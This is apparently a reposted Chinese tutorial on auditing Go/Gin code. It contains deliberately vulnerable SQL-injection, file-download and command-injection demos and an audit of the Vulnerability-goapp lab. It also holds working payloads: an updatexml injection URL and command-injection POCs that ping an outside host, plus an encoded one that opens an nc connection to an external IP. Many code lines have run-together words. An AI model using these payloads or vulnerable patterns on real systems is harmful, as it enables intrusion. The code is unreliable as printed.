Gin框架下载地址:github.com/gin-gonic/gin
mysql库下载地址:github.com/go-sql-driver/mysql
Gin框架教程地址:https://www.topgoer.cn/docs/ginkuangjia/ginkuangjia-1c50hfaag99k2
漏洞学习
SQL注入漏洞
SQL注入的生成
代码
packagemain
import(
"database/sql"
"fmt"
"log"
"net/http"
"github.com/gin-gonic/gin"
_"github.com/go-sql-driver/mysql"
)
vardb *sql.DB
//此处的结构体需要对应数据库里面的字段
typeAdmin struct{
Id string`json:"id"`
Usernamestring`json:"username"`
Passwordstring`json:"password"`
}
funcinit(){
//连接数据库的方法,使用init的优先级比main高,会优先执行
//使用方式:"账号:密码@地址/数据库?..."
conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local"
varerr error
db,err =sql.Open("mysql",conn)
iferr !=nil{
log.Fatalln(err)
}
fmt.Println("连接成功")
}
//查询方法
funcselectData(c*gin.Context){
//接收一个用户传参,类似php的$_GET
name:=c.Query("name")
//声明一个结构体
varadmin Admin
//SQL注入问题,只要不过滤用户的输入,只要是拼接就会产生SQL注入问题
sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name)
fmt.Println(sqlStr)
//此处就是将查询的结果给到上面的结构体
err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password)
iferr !=nil{
fmt.Println(err)
}
//将结果输出
c.JSON(http.StatusOK,admin)
}
funcmain(){
//开启一个Web服务,端口8000
r:=gin.Default()
r.GET("/sql",selectData)
r.Run(":8000")
}
以上就是一个SQL注入的Demo,核心还是用户的输入导致的SQL注入问题。
http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+
看终端
在Gin框架中,使用c.String,c.JSON等的方式才能在网页中看到数据,fmt.println()这种方式只是打印到终端操作
做修改把错误信息输出到服务器
iferr != nil {
c.String(http.StatusOK,err.Error())
fmt.Println(err)
}
预防SQL注入的方式
1、占位符
在上述代码中使用占位符,可以有效防止SQL注入。实际生成的结果是变量会被添加引号处理,不会包含有害语句
sqlStr :="select* from admin where username=?"
err :=db.QueryRow(sqlStr,name).Scan(&admin.Id,&admin.Username,&admin.Password)
查看执行结果
http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+
SQL语句就会变成这样子
select* from admin where username="'andupdatexml(1,concat(0x7e,user(),0x7e),1) -- +"
2、预编译
以下就是预编译的代码
//预编译
sqlStr:= "select * from admin where username=?"
stmt,err := db.Prepare(sqlStr)
deferstmt.Close()
rows,err := stmt.Query(name)
iferr != nil {
c.String(http.StatusOK,err.Error())
}
deferrows.Close()
forrows.Next() {
rows.Scan(&admin.Id,&admin.Username, &admin.Password)
}
我已将错误结果输出到服务器,输入单引号之后返回的结果是没有找到数据
不同数据库中,SQL语句的占位符语法
数据库 |
占位符语法 |
MySql |
? |
PostgreSQL |
$1,$2 |
SQLite |
?和$1 |
Oracle |
:name |
总结:
任何时候都不要相信用户的输入,任何时候都不应该自己拼接SQL语句
任意文件下载
看代码,写了一个文件下载的方法
funcdownloadData(c*gin.Context){
c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?file=n"))
//接收用户的传参
fileName:=c.Query("filename")
filePath:="./"+fileName
//Stat返回一个描述name指定的文件对象的FileInfo,就是文件的信息
_,err :=os.Stat(filePath)
iferr !=nil||os.IsNotExist(err){
c.JSON(http.StatusOK,"文件不存在")
}
//读取文件
byteBody,err :=os.ReadFile(filePath)
iferr !=nil{
c.JSON(http.StatusOK,gin.H{
"success":false,
"msg": "下载文件失败",
})
}
c.Header("Content-Type","application/octet-stream")
c.Header("Content-Disposition","attachment;filename= "+fileName)
c.String(http.StatusOK,string(byteBody))
}
funcmain(){
r:=gin.Default()
r.GET("/download",downloadData)
r.Run(":8000")
}
Gin框架的路由都是自己设定的,就是在r.GET("/download",downloadData),想要显示的信息都在downloadData方法
输入参数可进行读取,这里找不到下载go的header,其他文件都能下载
在进行任意文件下载的时候还需要改一下文件后缀,不知道咋设置名字就是不对
命令执行
代码
这里就是给一个模板变量,将接收的内容发送到command方法
func commandData(c*gin.Context){
var outInfo bytes.Buffer
command:=c.PostForm("input")
//在这里会进行命令的拼接,然后进行命令执行。无过滤可导致任意命令执行
cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command))
cmd.Stdout=&outInfo
cmd.Run()
c.String(http.StatusOK,outInfo.String())
}
func main(){
r:=gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/index",indexData)
r.POST("/command",commandData)
r.Run(":8000")
}
templates/index.html模板文件
<html>
<head></head>
<title>Commandexecution</title>
<body>
<h2>HelloWorld!</h2>
<formaction="/command"method="post">
<inputtype="text"name="input"value="">
<inputtype="submit"value="提交">
</form>
</body>
</html>
拼接命令
返回结果
以下是全部代码
package main
import(
"bytes"
"database/sql"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"github.com/gin-gonic/gin"
_"github.com/go-sql-driver/mysql"
)
vardb *sql.DB
type Admin struct{
Id string`json:"id"`
Username string`json:"username"`
Password string`json:"password"`
}
func init(){
conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local"
var err error
db,err =sql.Open("mysql",conn)
iferr !=nil{
log.Fatalln(err)
}
fmt.Println("连接成功")
}
func selectData(c*gin.Context){
name:=c.Query("name")
var admin Admin
//占位符,这种方式不会导致SQL注入的发生,实际生成的结果是变量会被添加引号处理,不会包含有害语句
//sqlStr := "select * from admin where username=?"
//err := db.QueryRow(sqlStr, name).Scan(&admin.Id, &admin.Username,&admin.Password)
//预编译
//sqlStr := "select * from admin where username=?"
//stmt, err := db.Prepare(sqlStr)
//defer stmt.Close()
//rows, err := stmt.Query(name)
//if err != nil {
// c.String(http.StatusOK, err.Error())
//}
//defer rows.Close()
//for rows.Next() {
// rows.Scan(&admin.Id, &admin.Username, &admin.Password)
//}
//拼接
sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name)
fmt.Println(sqlStr)
err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password)
iferr !=nil{
c.String(http.StatusOK,err.Error())
fmt.Println(err)
}
c.JSON(http.StatusOK,admin)
}
funcdownloadData(c*gin.Context){
c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?filename=n"))
fileName:=c.Query("filename")
filePath:="./"+fileName
_,err :=os.Stat(filePath)
iferr !=nil||os.IsNotExist(err){
c.JSON(http.StatusOK,"文件不存在")
}
byteBody,err :=os.ReadFile(filePath)
iferr !=nil{
c.JSON(http.StatusOK,gin.H{
"success":false,
"msg": "下载文件失败",
})
}
c.Header("Content-Type","application/octet-stream")
c.Header("Content-Disposition","attachment;filename= "+fileName)
c.String(http.StatusOK,string(byteBody))
}
funcindexData(c*gin.Context){
c.HTML(http.StatusOK,"index.html",nil)
}
funccommandData(c*gin.Context){
varoutInfo bytes.Buffer
command:=c.PostForm("input")
cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command))
cmd.Stdout=&outInfo
cmd.Run()
c.String(http.StatusOK,outInfo.String())
}
funcmain(){
r:=gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/sql",selectData)
r.GET("/download",downloadData)
r.GET("/index",indexData)
r.POST("/command",commandData)
r.Run(":8000")
}
代码审计
网上没有合适的系统来进行代码审计练习,在github找到了这套练习的源码
源码:https://github.com/Hardw01f/Vulnerability-goapp
首先看一下main.go的路由、方法、开放的端口
func main() {
var portNum = flag.String("p", "80", "Specifyapplication server listeningport")
flag.Parse()
fmt.Println("Vulnappserver listening : " + *portNum)
http.Handle("/assets/",http.StripPrefix("/assets/",http.FileServer(http.Dir("assets/"))))
http.HandleFunc("/",sayYourName)
http.HandleFunc("/test",test)
http.HandleFunc("/login",login.Login)
http.HandleFunc("/logout",logout.Logout)
http.HandleFunc("/new",register.NewUserRegister)
http.HandleFunc("/top",showUserTopPage)
http.HandleFunc("/profile",user.ShowUserProfile)
http.HandleFunc("/profile/edit",user.ShowUserModifyPage)
http.HandleFunc("/profile/edit/confirm",user.ShowEditConfirm)
http.HandleFunc("/profile/edit/update",user.UpdateUserDetails)
http.HandleFunc("/profile/changepasswd",user.PasswdChange)
http.HandleFunc("/profile/compchangepasswd",user.ConfirmPasswdChange)
http.HandleFunc("/profile/edit/image",uploader.ShowImageChangePage)
http.HandleFunc("/profile/edit/upload",uploader.UploadImage)
http.HandleFunc("/post",post.ShowAddPostPage)
http.HandleFunc("/timeline",post.ShowTimeline)
http.HandleFunc("/timeline/searchpost",search.SearchPosts)
http.HandleFunc("/hints",Hints)
http.HandleFunc("/db",DBDetails)
http.HandleFunc("/adminlogin",admin.ShowAdminLogIn)
http.HandleFunc("/adminconfirm",admin.Confirm)
http.HandleFunc("/adminusers",admin.ShowAdminPage)
err:= http.ListenAndServe(":"+*portNum, nil)
iferr != nil {
log.Fatal("ListenAndServe:", err)
}
}
命令执行漏洞
在pkg/admin/admin.go处,存在命令执行函数exec.Command,其中commandLine是通过拼接的语句
funcGetAdminSid(adminSessionCookie string) (results string, err error){
commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"
res,err := exec.Command("sh", "-c",commandLine).Output()
iferr != nil {
fmt.Println(err)
}
results= string(res)
ifresults != "" {
returnresults, nil
}
err= xerrors.New("recode was not set")
return "", err
}
跟踪GetAdminSid方法谁去调用了,在此处存在调用的方法。
adminSessionCookie参数是由r.Cookie("adminSID")获取,参数可控,导致了命令执行漏洞
http.HandleFunc("/adminusers",admin.ShowAdminPage)
funcShowAdminPage(w http.ResponseWriter, r *http.Request) {
ifr.Method == "GET" {
adminSID,err := r.Cookie("adminSID")
iferr != nil {
fmt.Printf("%+vn",err)
}
fmt.Println(adminSID.Value)
adminUid,err := GetAdminSid(adminSID.Value)
iferr != nil {
fmt.Println("notauthentication")
t,_ :=template.ParseFiles("./views/admin/failedauthentication.gtpl")
t.Execute(w,nil)
return
}
旧版本的代码
commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid=" +adminSessionCookie + ";'"
命令执行,直接拼接语句即可
新版已经改为
"mysql-h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"
r.Cookie不能获取Cookie中的双引号,无法进行闭合
adminSID,err := r.Cookie("adminSID")
为了演示只能修改一下源代码
在接收参数的时候进行一下URL解码
adminSIDs,_ := url.QueryUnescape(adminSID.Value)
这样就可绕过r.Cookie检测的"
POC
1"'& ping -l 484 ns1.cybertunnel.run &'"
使用ping的方式检测是否成功执行命令
看ICMP-SizeLog
下面还有几处,只是cookie不会进行url解码
uid,err := r.Cookie("UserID")
iferr != nil {
fmt.Println(err)
}
fmt.Println(uid)
userName,err := r.Cookie("UserName")
iferr != nil{
fmt.Println(err)
}
fmt.Println(userName.Value)
cmd:= "mysql -h mysql -u root -prootwolf -e 'selectid,name,mail,age,created_at,updated_at from vulnapp.user where namenot in ("" + userName.Value +"");'"
fmt.Println(cmd)
res,err := exec.Command("sh", "-c",cmd).Output()
iferr != nil {
fmt.Println("err: ", err)
}
第二处命令执行
由于是linux命令,我就修改一下。然后找到对应的路由
http.HandleFunc("/timeline/searchpost",search.SearchPosts)
funcSearchPosts(w http.ResponseWriter, r *http.Request) {
ifr.Method == "POST" {
searchWord:= r.FormValue("post")
fmt.Println("value: ", searchWord)
testStr:= "mysql -h mysql -u root -prootwolf -e 'select post,created_atfrom vulnapp.posts where post like "%" + searchWord +"%"'"
fmt.Println(testStr)
//testres,err := exec.Command("sh", "-c",testStr).Output()
testres,err := exec.Command("cmd", "/C",testStr).Output()
iferr != nil {
fmt.Println(err)
}
只能是POST传参
终端访问记录
Vulnappserver listening : 80
value:
mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%%"'
exitstatus 1
0
0
{[]}
POST=123
mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%123%"'
exitstatus 1
直接进行拼接注入,POST请求
post=%31%32%33%25%22%27%26%20%70%69%6e%67%20%2d%6c%20%32%37%38%20%6e%73%31%2e%63%79%62%65%72%74%75%6e%6e%65%6c%2e%72%75%6e%20%26%27%22%25%20%25%22%27
终端回显
看ICMP-SizeLog
也可以尝试通过端口判定tcp反连接
post=%31%32%33%25%22%27%26%20%6e%63%20%31%32%34%2e%32%32%33%2e%32%30%32%2e%39%30%20%36%34%31%39%31%20%26%27%22%25%20%25%22%27
搜索关键字命令:exec.Command
文件上传类,在go中是危害不大的,因为他不会去解析文件,不会导致通过上传文件去控制服务器。在go中的路由都是自定义的,访问的文件都是通过模板去访问指定目录下的静态文件。
通过关键字db.Exec搜索执行SQL语句的命令,都是使用占用符,不会产生SQL注入漏洞
_,err = db.Exec("insert into adminsessions(adminsessionid)values(?)", adminSessionID)
iferr != nil {
fmt.Printf("%+vn",err)
}
关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
参与渗透测试培训联系
原文始发于微信公众号(moonsec):GoLang代码审计基础
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论